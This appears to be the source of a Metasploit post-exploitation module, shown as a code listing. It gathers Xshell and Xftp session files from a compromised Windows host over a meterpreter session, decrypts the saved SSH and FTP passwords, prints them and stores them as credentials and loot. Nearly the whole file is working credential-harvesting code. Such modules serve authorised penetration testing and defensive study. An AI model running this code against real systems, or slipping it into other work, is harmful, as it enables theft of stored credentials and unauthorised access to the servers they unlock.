/
xshell_xftp_password.rb
202 lines (184 loc) · 6.44 KB
/
xshell_xftp_password.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::UserProfiles
include Msf::Post::File
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Accounts
include Rex::Parser::NetSarang
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Xshell and Xftp Passwords',
'Description' => %q{
This module can decrypt the password of xshell and xftp,
if the user chooses to remember the password.
},
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://github.com/HyperSine/how-does-Xmanager-encrypt-password/blob/master/doc/how-does-Xmanager-encrypt-password.md']
],
'Author' => [
'Kali-Team <kali-team[at]qq.com>'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_search
stdapi_fs_separator
stdapi_fs_stat
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('MASTER_PASSWORD', [ false, 'If the user sets the master password, e.g.:123456']),
]
)
end
def try_encode_file(data)
# version 6.0 The character set of the session file will use Unicode
# version <= 5.3 The character set of the session file will use ANSI
if data[0].unpack('C') == [255] && data[1].unpack('C') == [254]
data[2..].force_encoding('UTF-16LE').encode('UTF-8')
elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [187] && data[2].unpack('C') == [191]
data
elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [255]
data[2..].force_encoding('UTF-16BE').encode('UTF-8')
else
data
end
end
def enable_master_passwd?(version_6_path)
file_name = expand_path("#{version_6_path}\\Common\\MasterPassword.mpw")
file_contents = read_file(file_name) if session.fs.file.exist?(file_name)
if file_contents.nil? || file_contents.empty?
return false
end
file = try_encode_file(file_contents)
file.include?('EnblMasterPasswd=1')
end
def net_sarang_store_config(config)
service_data = {
address: config[:host],
port: config[:port],
service_name: config[:type],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
private_type: :password,
private_data: config[:password],
username: config[:username]
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def enum_session_file(path, user_profiles)
xsh_xfp = []
tbl = []
print_status("Search session files on #{path}")
xsh_xfp += session.fs.file.search(path, '*.xsh')
xsh_xfp += session.fs.file.search(path, '*.xfp')
# enum session file
xsh_xfp.each do |item|
file_name = item['path'] + session.fs.file.separator + item['name']
file_contents = read_file(file_name)
if file_contents.nil? || file_contents.empty?
print_status "Skipping empty file: #{file_name}"
next
end
file = try_encode_file(file_contents)
session_type = (File.extname(file_name) == '.xsh') ? 'Xshell' : 'Xftp'
# parser configure file
if session_type == 'Xshell'
version, host, port, username, password = parser_xsh(file)
else
version, host, port, username, password = parser_xfp(file)
end
# decrypt password
if enable_master_passwd?(path)
net_sarang = NetSarangCrypto.new(session_type, version, user_profiles['UserName'], user_profiles['SID'], datastore['MASTER_PASSWORD'])
else
net_sarang = NetSarangCrypto.new(session_type, version, user_profiles['UserName'], user_profiles['SID'])
end
plaintext = net_sarang.decrypt_string(password) if password
print_error('Invalid MASTER_PASSWORD, Decryption failed!') if !plaintext && password
tbl << {
version: "#{session_type}_V" + version.to_s,
file_name: item['name'],
host: host,
port: port,
username: username,
plaintext: plaintext,
password: password
}
end
return tbl
end
def run
print_status("Gather Xshell and Xftp Passwords on #{sysinfo['Computer']}")
profiles = grab_user_profiles
result = []
profiles.each do |user_profiles|
next if user_profiles['SID'].nil?
parent_key_6 = "HKEY_USERS\\#{user_profiles['SID']}\\Software\\NetSarang\\Common\\6\\UserData"
parent_key_5 = "HKEY_USERS\\#{user_profiles['SID']}\\Software\\NetSarang\\Common\\5\\UserData"
# get session file path
net_sarang_path_6 = expand_path(registry_getvaldata(parent_key_6, 'UserDataPath'))
net_sarang_path_5 = expand_path(registry_getvaldata(parent_key_5, 'UserDataPath'))
# enum session file
result += enum_session_file(net_sarang_path_5, user_profiles) if session.fs.file.exist?(net_sarang_path_5)
result += enum_session_file(net_sarang_path_6, user_profiles) if session.fs.file.exist?(net_sarang_path_6)
end
columns = [
'Type',
'Name',
'Host',
'Port',
'UserName',
'Plaintext',
'Password'
]
tbl = Rex::Text::Table.new(
'Header' => 'Xshell and Xftp Password',
'Columns' => columns
)
result.each do |item|
tbl << item.values
config = {
type: item[:version].starts_with?('Xshell') ? 'ssh' : 'ftp',
host: item[:host],
port: item[:port].to_i,
username: item[:username],
password: item[:plaintext]
}
net_sarang_store_config(config)
end
print_line(tbl.to_s)
# Only save data to disk when there's something in the table
if tbl.rows.count
path = store_loot('host.xshell_xftp_password', 'text/plain', session, tbl, 'xshell_xftp_password.txt', 'Xshell Xftp Passwords')
print_good("Passwords stored in: #{path}")
end
end
end